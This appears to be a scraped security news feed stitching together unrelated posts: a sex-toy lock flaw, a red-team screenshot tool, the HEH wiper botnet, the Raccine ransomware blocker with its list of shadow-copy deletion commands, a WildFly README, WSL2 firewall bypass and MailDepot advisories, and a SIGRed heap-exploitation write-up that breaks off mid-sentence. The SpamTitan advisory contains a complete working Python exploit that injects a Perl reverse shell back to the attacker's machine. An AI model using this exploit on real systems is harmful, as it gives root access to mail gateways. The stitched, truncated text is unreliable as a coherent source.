“When we fix it, it creates more problems.” In the end, Qiui missed the three self-imposed deadlines to fix the vulnerable API, said Lomas. The decision to go public was made after Pen Test Partners learned of a separate security issue from another researcher, who also found it difficult to get a response from Qiui. “This reinforced our decision to publish: clearly others were likely to find these issues independent of us, so the public interest case was made in our minds,” wrote Lomas. It’s not known if anyone maliciously exploited the vulnerable API. Several user reviews of the app complained that the app had bugs that would cause the device to stay locked. Qiui joins a long list of sex toys with security problems that inherently don’t exist in non-internet-connected devices. In 2016, researchers say a bug in a Bluetooth-powered “panty buster” let anyone remotely control the sex toy over the internet. In 2017, a smart sex toy maker settled a lawsuit after it was accused of collecting and recording “highly intimate and sensitive data” of its users. Practice safe sex; don’t use a smart device. Via techcrunch.com

Trivial .NET desktop capturing for Red Team operations Uses only legit stuff (in order to bypass Endpoint Protection). Components: minimal .NET screen capture binary, script to deploy, run, fetch the screenshot and cleanup. Target user must have an active session on the target host (query user may be used). capture binary The SharpShot.sln is a super minimal .NET screen capturing project in C#. Takes the destination .png file (with full pathname) as a mandatory argument. Build tested using Visual Studio 2019 (Community Edition), targets .NET Framework version 4.5. Post-build hook converts the console exe to GUI type in order to run silently (without popping up a console window). deploy script The script screenshot.sh is just an example how I used it in an engagement. Should be customized before use. Depends on impacket (wmiexec) and samba (smbclient). Uses the legit Windows Task Scheduler to run the capture binary as the target user. Probably little bit noisy, but bypasses AVs. Download SharpShot-master.zip or git clone https://github.com/tothi/SharpShot.git Source

The disk-wiping feature is present in the code but has not been used yet. Image: Netlab A newly discovered botnet contains code that can wipe all data from infected systems, such as routers, servers, and Internet of Things (IoT) devices. Named HEH, the botnet spreads by launching brute-force attacks against any internet-connected system that has its SSH ports (23 and 2323) exposed online. If the device uses default or easy-to-guess SSH credentials, the botnet gains access to the system, where it immediately downloads one of seven binaries that install the HEH malware. This HEH malware doesn't contain any offensive features, such as the ability to launch DDoS attacks, the ability to install crypto-miners, or code to run proxies and relay traffic for bad actors. The only features present are a function that ensnares infected devices and coerces them to perform SSH brute-force attacks across the internet to help amplify the botnet; a feature that lets attackers run Shell commands on the infected device; and a variation of this second feature that executes a list of predefined Shell operations that wipe all the device's partitions. BOTNET IS IN ITS EARLY STAGES OF DEVELOPMENT HEH was discovered by security researchers from Netlab, the network security division of Chinese tech giant Qihoo 360, and detailed for the first time in a report published today. Because this is a relatively new botnet, Netlab researchers can't tell if the device-wiping operation is intentional or if it's just a poorly coded self-destruction routine. But regardless of its purpose, if this feature ever gets triggered, it could result in hundreds or thousands of bricked and non-functioning devices. This could include home routers, Internet of Things (IoT) smart devices, and even Linux servers. The botnet can infect anything with a weakly-secured SSH ports, even Windows systems, but the HEH malware only works on *NIX platforms. Since wiping all partitions also wipes the device's firmware or operating system, this operation has the potential to temporarily brick devices — until their firmware or operating systems are reinstalled. However, in some cases, this could mean permanently bricked systems, as some device owners may not have the knowledge to reinstall firmware on their IoT equipment and may just choose to throw away the old and buy a new device instead. Currently, Netlab said it detected HEH samples that can run on the following CPU architectures x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) and PPC. The botnet is still spreading. HEH, while it hasn't bricked any devices yet, wouldn't be the first botnet that wipes IoT devices. The first two were BirckerBot and Silex. Via zdnet.com

Why We see ransomware delete all shadow copies using vssadmin pretty often. What if we could just intercept that request and kill the invoking process? Let's try to create a simple vaccine. How it works We register a debugger for vssadmin.exe (and wmic.exe), which is our compiled raccine.exe. Raccine is a binary, that first collects all PIDs of the parent processes and then tries to kill all parent processes. Avantages: The method is rather generic We don't have to replace a system file (vssadmin.exe or wmic.exe), which could lead to integrity problems and could break our raccination on each patch day The changes are easy to undo Should work on all Windows versions from Windows 2000 onwards No running executable or additional service required (agent-less) Disadvantages / Blind Spots: The legitimate use of vssadmin.exe delete shadows (or any other blacklisted combination) isn't possible anymore It even kills the processes that tried to invoke vssadmin.exe delete shadows, which could be a backup process This won't catch methods in which the malicious process isn't one of the processes in the tree that has invoked vssadmin.exe (e.g. via schtasks) The Process Invocation of vssadmin.exe (and wmic.exe) gets intercepted and passed to raccine.exe as debugger (vssadmin.exe delete shadows becomes raccine.xe vssadmin.exe delete shadows) We then process the command line arguments and look for malicious combinations. If no malicious combination could be found, we create a new process with the original command line parameters. If a malicious combination could be found, we collect all PIDs of parent processes and the start killing them (this should be the malware processes as shown in the screenshots above). Raccine shows a command line window with the killed PIDs for 5 seconds and then exits itself. Malicious combinations: delete and shadows (vssadmin) resize and shadowstorage (vssadmin) delete and shadowcopy (wmic) delete and catalog and -quiet (wbadmin) Warning !!! USE IT AT YOUR OWN RISK! You won't be able to run commands that use the blacklisted commands on a raccinated machine anymore until your apply the uninstall patch raccine-reg-patch-uninstall.reg. This could break various backup solutions that run that specific command during their work. It will not only block that request but kills all processes in that tree including the backup solution and its invoking process. If you have a solid security monitoring that logs all process executions, you could check your logs to see if vssadmin.exe delete shadows or vssadmin.exe resize shadowstorage ... is frequently or sporadically used for legitimate purposes in which case you should refrain from using Raccine. Version History 0.1.0 - Initial version that intercepted & blocked all vssadmin.exe executions 0.2.0 - Version that blocks only vssadmin.exe executions that contain delete and shadows in their command line and otherwise pass all parameters to a new process that invokes vssadmin with its original parameters 0.2.1 - Removed explorer.exe from the whitelist 0.3.0 - Supports the wmic method calling delete shadowcopy, no outputs for whitelisted process starts (avoids problems with wmic output processing) 0.4.0 - Supports logging to the Windows Eventlog for each blocked attempt, looks for more malicious parameter combinations 0.4.1 - Statically linked binaries 0.4.2 - Bugfixes provided by John Lambert 0.5.0 - Removed Eventlog logging (basic info was unnecessary; cuased higher complexity; can be achieved by process creation logging as well), support for wbadmin filtering Installation Apply Registry Patch raccine-reg-patch-vssadmin.reg to intercept invocations of vssadmin.exe Place Raccine.exe from the release section in the PATH, e.g. into C:\Windows (For i386 architecture systems use Raccine_x86.exe and rename it to Raccine.exe) Wmic Addon (Optional) About 10-30% of Ransomware samples use wmic to delete the local shadowcopies. However, wmic is used for administrative activity far more often than vssadmin. The output of wmic often gets processed by automated scripts. It is unknown how a proxied execution through Raccine affects these scripts and programs. We've removed all outputs for cases in which no malicious parameter combination gets detected, but who knows? Apply the raccine-reg-patch-wmic.reg patch to intercept invocations of wmic.exe Apply the raccine-reg-patch-wmic.reg patch to intercept invocations of wmic.exe Wbadmin Addon (Optional) Ransomware often uses the command wbadmin delete catalog -quiet to delete the backup catalog of the local computer. Apply the raccine-reg-patch-wbadmin.reg patch to intercept invocations of wbadmin.exe Uninstall Run raccine-reg-patch-uninstall.reg Remove Raccine.exe (optional) Screenshot Run raccine.exe and watch the parent process tree die (screenshot of v0.1) Pivot In case that the Ransomware that your're currently handling uses a certain process name, e.g. taskdl.exe, you could just change the .reg patch to intercept calls to that name and let Raccine kill all parent processes of the invoking process tree. Help Wanted I'd like to extend Raccine but lack the C++ coding skills, especially o the Windows platform. 1. Allow Certain Vssadmin Executions implemented by Ollie Whitehouse in v0.2.0 Since Raccine is registered as a debugger for vssadmin.exe the actual command line that starts raccine.exe looks like raccine.exe vssadmin.exe ... [params] If we were able to process the command line options and apply filters to them, we could provide the following features: Only block the execution in cases in which the parameters contains delete shadows Allow all other executions by passing the original parameters to a newly created process of vssadmin.exe (transparent pass-through) 2. Whitelist Certain Parents We could provide a config file that contains white-listed parents for vssadmin.exe. If such a parent is detected, it would also pass the parameters to a new process and skip killing the process tree. 3. Create Shim Instead of Image File Execution Options Hack The solution is outlined in this tweet and related talk. FAQs Why did it even kill explorer.exe during its run? Since malware tends to inject into explorer.exe, we thought it would be a good idea to kill even explorer.exe in order to avoid malicious code performing other operations on the system. What happens in real world examples is that a user that executed the Ransomware process would loose its windows task bar and desktop, while other programs like Microsoft Word or Outlook would still be running and the user would be able to save his work and close the respective programs before calling the helpdesk or simpy reboot the system. An expericend user could bring up task manager using CTRL+ALT+Del and start a new explorer.exe or just log off. Other Info The right pronounciation is "Rax-Een". Credits Florian Roth @cyb3rops Ollie Whitehouse @ollieatnccgroup Download Raccine-main.zip or git clone https://github.com/Neo23x0/Raccine.git Source

SpamTitan version 7.07 suffers from an unauthenticated remote code execution vulnerability in snmp-x.php. # Exploit Title: SpamTitan 7.07 - Unauthenticated Remote Code Execution # Date: 2020-09-18 # Exploit Author: Felipe Molina (@felmoltor) # Vendor Homepage: https://www.titanhq.com/spamtitan/spamtitangateway/ # Software Link: https://www.titanhq.com/signup/?product_type=spamtitangateway # Version: 7.07 # Tested on: FreeBSD # CVE : CVE-2020-11698 ---[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php]------------------------------ SECURITY ADVISORY: SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php Affected Software: SpamTitan Gateway 7.07 (possibly earlier versions) Vulnerability: Unauthenticated Remote Code Execution CVSSv3: 10.0 (https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) Severity: Critical Release Date: 2020-04-17 CVE: CVE-2020-11698 I. Background ~~~~~~~~~~~~ From www.spamtitan.com: "SpamTitan Gateway is a powerful Anti-Spam appliance that equips network administrators with extensive tools to control mail flow and protect against unwanted email and malware." II. Description ~~~~~~~~~~~~~~ Improper input sanitization of the parameter "community" on the page snmp-x.php would allow a remote attacker to inject command directives into the file snmpd.conf. This would allow executing commands on the target server by by injecting an "extend" or "exec" SNMPD directive and querying the snmp daemon of the server for the correct OID. III. PoC ~~~~~~~ Use python 3 and install the following modules: requests, pysnmp. If your IP is 192.168.1.5 and the target SpamTitan server is spamtitan.example.com, call the PoC like this: ./poc.py -t spamtitan.example.com -i 192.168.1.5 --------------------------------------------- #!/usr/bin/env python # Author: Felipe Molina (@felmoltor) # Date: 09/04/2020 # Python Version: 3.7 # Summary: This is PoC for an unauthenticated RCE 0day on SpamTitan 7.07 and previous versions. # The script abuses of two weaknesses on the product: # 1. Unauthenticated interaction with snmp-x.php script # 2. Injection of snmpd.conf configuration directives in multiple POST parameters such as "community" or "user_username" of snmp-x.php # Product URL: https://www.spamtitan.com/ # Product Version: 7.07 and probably previous import requests requests.packages.urllib3.disable_warnings() import os import threading from optparse import OptionParser import socket import json from pysnmp.hlapi import * from urllib.parse import urlparse from time import sleep SNMPGETDELAY=5 def parseoptions(): parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Target SpamTitan URL to attack. E.g.: https://spamtitan.com/", default=None) parser.add_option("-i", "--ip", dest="ip", help="Local IP where to listen for the reverse shell. Default: %s" % myip(), default=myip()) parser.add_option("-p", "--port", dest="port", help="Local Port where to listen for the reverse shell. Default: 4242", default=4242) parser.add_option("-q", "--quiet", action="store_true", dest="quiet", default=False, help="Shut up script! Just give me the shell.") return parser.parse_args() def printmsg(msg,quiet=False,msgtype="i"): if (not quiet): if (success): print("[%s] %s" % (msgtype,msg)) else: print("[-] %s" % msg) def info(msg,quiet=False): printmsg(msg,quiet,msgtype="i") def success(msg,quiet=False): printmsg(msg,quiet,msgtype="+") def fail(msg,quiet=False): printmsg(msg,quiet,msgtype="-") def myip(): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: # doesn't even have to be reachable s.connect(('10.255.255.255', 1)) IP = s.getsockname()[0] except: IP = '127.0.0.1' finally: s.close() return IP def shellServer(ip,port,quiet): servers = socket.socket(socket.AF_INET, socket.SOCK_STREAM) servers.bind((ip, port)) servers.listen(1) info("Waiting for incoming connection on %s:%s" % (ip,port)) conn, addr = servers.accept() conn.settimeout(1) success("Hurray, we got a connection from %s" % addr[0]) prompt =conn.recv(128) prompt=str(prompt.decode("utf-8")).strip() command = input(prompt) while True: try: c = "%s\n" % (command) if (len(c)>0): conn.sendall(c.encode("utf-8")) # Quit the console if command == 'exit': info("\nClosing connection") conn.close() break else: completeanswer="" while True: answer=None try: answer=str((conn.recv(1024)).decode("utf-8")) completeanswer+=answer except socket.timeout: completeanswer.strip() break print(completeanswer,end='') command = input("") except (KeyboardInterrupt, EOFError): info("\nClosing connection") break def triggerSNMPShell(target, community, triggeroid, port, quiet): if (not quiet): print("Waiting %s seconds to allow the main thread set-up the shell listener." % SNMPGETDELAY) # Give the parent thread a few seconds to set up the shell listener before triggering the SNMP get query sleep(SNMPGETDELAY) if (not quiet): print("Querying the SNMP server to launch the shell.") targetp = urlparse(target) errorIndication, errorStatus, errorIndex, varBinds = next( getCmd(SnmpEngine(), CommunityData(community, mpModel=0), UdpTransportTarget((targetp.netloc, port)), ContextData(), ObjectType(ObjectIdentity(triggeroid))) ) if errorIndication: print("SNMP error: %s" % errorIndication) elif errorStatus: print('SNMP error status: %s at %s' % (errorStatus.prettyPrint(), errorIndex and varBinds[int(errorIndex) - 1][0] or '?')) def main(): (options,arguments) = parseoptions() q = options.quiet t = options.target i = options.ip p = options.port community="dummy" if (t is None): print("[-] Error. Specify a target (-t).") exit() if ((not "http://" in t) and (not "https://" in t)): t = "http://%s/snmp-x.php" % t else: t = "%s/snmp-x.php" % t if (not q): print("[+] Attacking: %s.\nReceiving shell in %s:%s" % (t,i,p)) TARGETOID=".1.3.6.1.4.1.8072.1.3.2.3.1.1.8.114.101.118.115.104.101.108.108" # PAYLOAD="extend revshell /usr/bin/perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (i,p) PAYLOAD="extend revshell /usr/bin/perl -e 'use Socket;$i=\"%s\";$p=%s;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" % (i,p) TOGGLESNMP={ "jaction":"toggleSNMP", "newval":"1" } INJECTION={ "jaction":"saveAll", "contact":"CONTACT", "name":"SpamTitan", "location":"LOCATION", # Add our IP as allowed to query the injected "dummy" community # Add also the perl payload in a new line (%0a) of the snmpd.conf file "community":'%s" %s\n%s # ' % (community,i,PAYLOAD) } rev_thread = threading.Thread(target=triggerSNMPShell, args=(t, community, TARGETOID, 161,q)) rev_thread.start() # Start a thread to listen for incoming reverse shells: if (not q): print("[+] Launching a reverse shell listener to wait for the shell.") # Send the SNMP request to add a community and append an "extend" command to execute scripts # SpamTitan would add a new line in the snmpd.conf file with the new community name and the "extend" script inj_res = requests.post(t,INJECTION,verify=False) if (inj_res.status_code == 200): if (not q): print("Spawning a reverse shell listener. Wait for it...") shellServer(options.ip,int(options.port),options.quiet) else: print("Error. The target is probably not vulnerable (returned a %s code)." % inj_res.status_code) main() --------------------------------------------- III. Impact ~~~~~~~~~~ The snmpd daemon is running as root in the target server. The pressented PoC would return a root shell without need of any registered user in the target server. There is total loss of confidentiality, integrity and availability on the SpamTitan server. IV. Disclosure ~~~~~~~~~~~~~ Reported By: Felipe Molina de la Torre Vendor Informed: 2020-04-17 Patch Release Date: 2020-05-26 Advisory Release Date: 2019-09-18 V. References ~~~~~~~~~~~~ * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11698 * https://sensepost.com/blog/2020/clash-of-the-spamtitan/ ---------------------------------[SPUK-2020-09/SpamTitan Unauthenticated Remote Code Execution in snmp-x.php]--- Source

WildFly Application Server https://wildfly.org Fast Startup Small Footprint Modular Design Unified Configuration and Management And of course Jakarta EE! Building Prerequisites: JDK 8 or newer - check java -version Maven 3.6.0 or newer - check mvn -v On *nix systems, make sure that the maximum number of open files for the user running the build is at least 4096 (check ulimit -n) or more, depending on what other i/o intensive processes the user is running. To build with your own Maven installation: mvn install Alternatively, you can use the Maven Wrapper script that downloads and installs (if necessary) the required Maven version to ~/.m2/wrapper and runs it from there. On Linux, run ./mvnw install On Windows mvnw install Starting and Stopping WildFly Change to the bin directory after a successful build $ cd build/target/wildfly-[version]/bin Start the server in domain mode ./domain.sh Start the server in standalone mode ./standalone.sh To stop the server, press Ctrl + C, or use the admin console ./jboss-cli.sh --connect command=:shutdown Check 'Getting Started Guide' in the WildFly documentation for more information about how to start and stop WildFly. Documentation https://docs.wildfly.org/ Contributing https://developer.jboss.org/wiki/HackingOnWildFly Build vs. Dist directories After running mvn install, WildFly will be available in two distinct directories, build and dist. The build directory contains a build of WildFly that is based on Maven artifact resolution for module configuration The dist directory, on the other hand, contains a full distributable build of WildFly Using the build directory makes iterating with subsystem or module development easier since there is no need to rebuild the whole of WildFly or copy JAR files around on every change. The dist directory is better suited when a full build of WildFly is needed for development or test purposes. Running the Testsuite The testsuite module contains several submodules including the following: "smoke" -- core tests that should be run as part of every build of the AS. Failures here will fail the build. "api" -- tests of features that involve end user use of the public JBoss AS 8 API. Should be run with no failures before any major commits. "cluster" -- tests of the WildFly HA clustering features. Should be run with no failures before any major commits. "domain" -- tests of the domain management features. Should be run with no failures before any major commits. "integration" -- tests of a WildFly standalone server's internals. Should be run with no failures before any major commits. "spec" -- tests of features that only involve end user use of the Jakarta EE spec APIs. Should be run with no failures before any major commits. For basic smoke tests, simply: mvn test To run all the tests mvn install -DallTests Using Eclipse Install the latest version of eclipse Make sure Xmx in eclipse.ini is at least 1280M, and it's using Java 8 Launch eclipse and install the m2e plugin, make sure it uses your repo configs (get it from: http://www.eclipse.org/m2e/ or install "Maven Integration for Eclipse" from the Eclipse Marketplace) In eclipse preferences Java->Compiler->Errors/Warnings->Deprecated and restricted set forbidden reference to WARNING In eclipse preferences Java->Code Style, import the cleanup, templates, and formatter configs in ide-configs/eclipse in the wildfly-core repository. In eclipse preferences Java->Editor->Save Actions enable "Additional Actions", and deselect all actions except for "Remove trailing whitespace" Use import on the root pom, which will pull in all modules Wait (m2e takes a while on initial import) License GNU Lesser General Public License Version 2.1 Download wildfly-master.zip or git clone https://github.com/wildfly/wildfly.git Source

The Windows Subsystem for Linux 2 will bypass the Windows 10 firewall and any configured rules, raising security concerns for those who use the feature. In a blog post today, Mullvad VPN explained that their product includes an 'Always require VPN' option that blocks Internet access via the Windows Firewall unless connected to the VPN. After Mullvad received a tip from a user, it was determined that WSL2 Linux distributions bypass the Windows 10 firewall and its configured rules, and prevent the VPN's 'Always require VPN' security feature from working. WSL 2 bypasses the Windows firewall Mullvad states that they tested this issue with multiple VPN products, and the problem exists in all of them. The problem is that this has nothing to do with VPN software and is simply how the Windows Subsystem for Linux 2 was developed. The first version of the Windows Subsystem for Linux (WSL 1) uses a Linux-compatible kernel that translates Linux system into calls that work with the Windows NT kernel. When using WSL 1, any network traffic is filtered through the Windows Advanced Firewall (WAF), and the Linux distro honors any configured rules. With the release of WSL 2, Microsoft introduced a true Linux kernel operating in a Hyper-V virtual machine with a Hyper-V virtual network adapter. Unlike WSL 1, WSL 2 traffic is sent to the correct connection, whether it's your LAN Ethernet adapter or VPN, but it completely bypasses the Windows Firewall. For example, I created a Windows Firewall rule that blocks all outbound traffic to port 80 (HTTP) and 443 (HTTPS), the default ports when connecting to web sites. Windows Firewall rule to block outbound web connections When enabled, this rule blocked all outbound connections to websites from Windows 10 and WSL 1 Linux distributions. On the other hand, when I tested from a WSL 2 Ubuntu distribution, I had no problems connecting to Google.com as it bypassed the Windows Firewall's filtering. WSL 2 distribution bypassing the Windows Firewall To make sure that this was not a strange configuration on my end, numerous other people helped BleepignComputer test the bypass, and they confirmed that it was happening on their end as well. What's the big deal? The main concern with WSL 2 bypassing the Windows Firewall is that no one knows about it. If you are coming from WSL 1, you would expect your outbound connections from WSL Linux distributions to be filtered through the Windows Firewall, as that is the usual behavior. Once you upgrade to WSL 2, though, it no longer honors your firewall configuration, and any security that relies on it no longer works. As WSL 2 distributions can support a wide array of Linux applications, including server implementations like Docker, it does make sense to be seen as an independent operating system that does not rely on the Windows Firewall. It is necessary, though, that users know that their configured Windows Firewall rules will be ignored. The good news is that WSL 2 supports Linux firewall implementations like iptables that can control network traffic. For example, after installing iptables, you can use the following command to block connections to port 80 and 443. sudo iptables -A OUTPUT -p tcp --match multiport --dports 80,443 -j DROP Once this rule is enabled, attempting to connect to a website from the WSL 2 Linux distro no longer works. iptables blocking connection to Google The Windows Subsystem for Linux version 2 (WSL 2) is far more powerful than the first version, but with it comes security considerations that users should be aware of. Suppose you rely on the Windows Firewall to control your network communications. In that case, you need to pay special consideration to how you configure your WSL 2 distributions so that you can replicate your configured Windows security. BleepingComputer has contacted Microsoft with questions related to this story but has not heard back. Source

MailDepot version 2032 SP2 (2.2.1242) suffers from a session expiration design issue. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Advisory ID: SYSS-2019-049 Product: MailDepot Manufacturer: REDDOXX GmbH Affected Version(s): 2032 SP2 (2.2.1242) Tested Version(s): 2032 SP2 (2.2.1242) Vulnerability Type: Insufficient Session Expiration (CWE-613) Risk Level: Low Solution Status: Fixed Manufacturer Notification: 2019-11-19 Solution Date: 2020-06-09 Public Disclosure: 2020-09-29 CVE Reference: CVE-2019-19199 Authors of Advisory: Micha Borrmann (SySS GmbH) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: REDDOXX MailDepot is an e-mail archiving solution with many features and an optional web browser user interface. The manufacturer describes the product as follows (see [1]): "The email archiving solution works independently from the type of mail server, supports any type of storage and can therefore be easily integrated into any existing infrastructure." Due to the improper server-side invalidation of authentication tokens when using the logout function, authentication tokens can still be used. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: After using the logout function, the assigned authentication token for the REST web service can still be used for many hours, because it is only invalidated on the client, but not on the server side. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): Storing and reusing the assigned authentication ID can easily be demonstrated with a modifying web proxy. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Install the provided security update. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2019-11-18: Detection of the vulnerability 2019-11-19: Vulnerability reported to manufacturer 2019-11-20: Manufacturer confirms vulnerability 2019-11-21: CVE number assigned 2020-06-09: Update was released from the vendor [2] 2020-09-29: Public release of the security advisory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] REDDOXX MailDepot Product Website https://www.reddoxx.com/en/products/archiving/ [2] REDDOXX Release Information https://www.reddoxx.com/reddoxx-appliance-2033-verfuegbar/ [3] SySS Security Advisory SYSS-2019-049 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2019-049.txt [4] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Micha Borrmann of SySS GmbH. E-Mail: micha.borrmann (at) syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Micha_Borrmann.asc Key Fingerprint: 38BD 7A9C 3EA9 39C5 33F9 94D0 CFC2 D5B0 8EE0 CBB9 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEEOL16nD6pOcUz+ZTQz8LVsI7gy7kFAl9y7R8ACgkQz8LVsI7g y7msaw/+IQdUT+LQWLfFcMAacz6WeLAhwqeaZytwhu8map8msHIncMpxWPddU78K 8lcgR5zIF2bKmj6PXC8vYnwpYiiY83wCrIRoVN/SGB2dXTulv1CK6uuIAH/mHcZ9 hYG1vBxJFkC0hm0Un89GTFC0v+dnlgFW7xAPd7q1uaAY07hLYUhGHijF5snCO9V6 FdXF1FlZJJNyoClk3qztolldwyQ5+pOZgupCe33/CN5qzCc7wH2VNTJEcGDT96Du fSFcVCcl1w/Mrs+8JeShr6aH/G1v3UVAe8+2xgDhzic5kxzpKjeWA1IdYvG7Q2nn Bf3d8zO+WYxCGrkdx5XJaJ4xKrM/r2Cz/5ipazYIdBLrrzYnXgdvQFJckKF+LZCy F1WTutrmbTG8kOpOq6qBf28lpJd8VKtilqTDuPs1VnOYU08Y1rYCMcsGjJVCQ7W5 mqH6bDuXBF9jzeeUq+H8G458bmINnKut9jEHgSMMA69iaIqjs9wzhmMg9imN4SyB zA8v/3lpz2bmTm/hZbo41gwGMETurwKsMK9StkY78TzbrbICYyTU6hsFFLalL76u GC13rF2Xs6T/I1CIeUfjjw3TpdKswhAy3o5d4VGck0Ye4eSROg2H8ksj+uR6O4TJ Lw+CvXJoM+g9ykqZbwkkV4vcPHUa/Ti7cbrmhNQUNZE13w/G8Zc= =RcMS -----END PGP SIGNATURE---- Source

by Worawit Wangwarunyoo , DATAFARM Research Team, Datafarm Company Limited This post describes the exploitation (RCE) of SIGRed (CVE-2020–1350) on Windows Server 2012 R2 to Windows Server 2019. For vulnerability detail please see the checkpoint research post Prepare name servers To reduce steps on setting up a domain name, I configure “Conditional Forwarders” on a target Windows DNS Server as figure below. While I use dnslib to create my malicious DNS client and server for “evildns.com” domain. Trigger the bug If we simply follow on checkpoint post to trigger the bug, we are likely to end up with a crash inside memcpy called from dns!SigWireRead. The reason is SIG Resource Record is allocated around the end of a process heap. Triggering the bug need overwrite past SIG record buffer around 64KB, so memcpy will attempt writing past a current heap space which is invalid memory region. If we dump memory around address that caused a crash, we see an address is invalid. To exploit a heap overflow bug, normally we have to know a heap internal and some object structure that allocated on heap. WinDNS Heap Manager WinDNS manages its own memory pools. There are 4 memory pool buckets (dns!StandardAllocLists) for different allocation sizes (0x50, 0x68, 0x88, 0xa0). If a required allocation size is greater than 0xa0, WinDNS will use native Windows heap (with HeapAlloc and HeapFree functions). Below is pseudocode for dns!Mem_Alloc function used for dynamically allocated memory in dns Next is pseudocode for dns!Mem_Free function used for freeing memory allocated by Mem_Alloc After reverse engineering the Mem_Alloc and Mem_Free functions, we can see some issues that help us to exploit the vulnerability WinDNS heap never return memory to native Windows Heap If a memory size is less than or equal to 0xa0, WinDNS only simply put it to a head of free list. Native Windows heap treats it as used memory. So we can freely corrupt the native Windows heap chunk metadata because a heap metadata is checked when doing allocation and free. All WinDNS heap header value is known A WinDNS heap header contains metadata such as buffer type, size, bucket index, cookie (fixed value). All metadata value is known without a need of information leak. Because we have to start exploiting by overwriting many objects in heap, this condition is very helpful to exploit this bug without a help from another information leak bug. Free chunks are kept as singly linked list This kind of data structure can imply that chunks are allocated and freed in reverse order (LIFO). There are known techniques to abuse free chunks in singly linked list after memory corruption. E.g. Fake free list to control next allocation location. This might result to overlapped chunks, arbitrary write (I think arbitrary write is difficult for this case because a cookie 8 bytes is checked before Mem_Alloc returning an address) Controlling chunk allocation order by freeing them in reverse order Monitoring objects in heap To know what objects in heap are allocated when processing a user query, I add a breakpoint in Mem_Alloc to print stack trace for monitoring objects and code path. Then I send various DNS request to a server. Below is sample of it. I found a few interesting objects. First, DNS Resource Record (RR) object is created every time when Windows DNS server cache a response from authoritative name server (SIG record that allocated when triggering the bug is RR object too). A RR header has a data size field which can be overwritten and used for information leak later. Another one is timeout object. It contains a pointer to function with 1 argument. We can overwrite them to control rip (Program Counter) register later. Heap buffer overflow without any crash This step should be easy now after studying a lot of WinDNS heap. All I did is make server do allocation of many RR objects that never be freed while exploiting. Then freeing an object that followed by many RR objects (total size must be >64KB), the freed chunk will be allocated by SIG RR object when triggering the vulnerability. Information Leak When triggering the bug, we can overwrite a valid RR object by modified only data size field. Then, we can query an overwritten RR to leak adjacent chunk. Leaking overflown data is useless, so we should free adjacent chunk first. WinDNS heap will write a pointer to next free chunk, then we can leak pointer to a heap address. With carefully craft overflown data and free order, we can leak a heap address in overflown area. Because we can fully control overflown data, so we can create a fake free list in there. Then new objects will be allocated in our control area. We can read/write them. Then I tried to leak dns.exe module by finding some heap object that contains address in an executable module. I found 2 objects (one points to BSS section, another one points to string section). Do a query to make a server allocates object that has a pointer to dns.exe then read its content followed by calculating base dns.exe address. Controlling Program Counter (rip) As mentioned in previous section, timeout object contains a pointer to function with 1 argument. We can make it allocated in overflown area then overwrite it to control PC. A pointer to function in timeout object is used in dns!Timeout_CleanupDelayedFreeList function. But dns.exe since Windows Server 2012 is compiled with Control Flow Guard (CFG). With CFG enabled, we can only jump to a function that is in allowed list. If we try to jump at function epilogue (for starting ROP), we end up crashing inside ntdll!LdprValidateUserCallTarget same as below figure (from Windows Server 2012 R2). Common procedure to do code execution, when CFG is enabled, is modifying a return address in stack, which need arbitrary write ability. But we cannot do arbitrary write now. We also don’t know any thread stack address. Now we can only control heap in overflown area. It is very rare to see a program store stack address in a heap object. I don’t even try finding a stack address in heap. Next, I tried to do arbitrary read by searching an object that contains a pointer to data. Then make it allocated in our control area and overwrite a pointer. I expected a server will dereference pointer and copy a data to me. But what I found needs so many conditions, cannot be used (there might be an object that can be used for arbitrary read but I cannot find 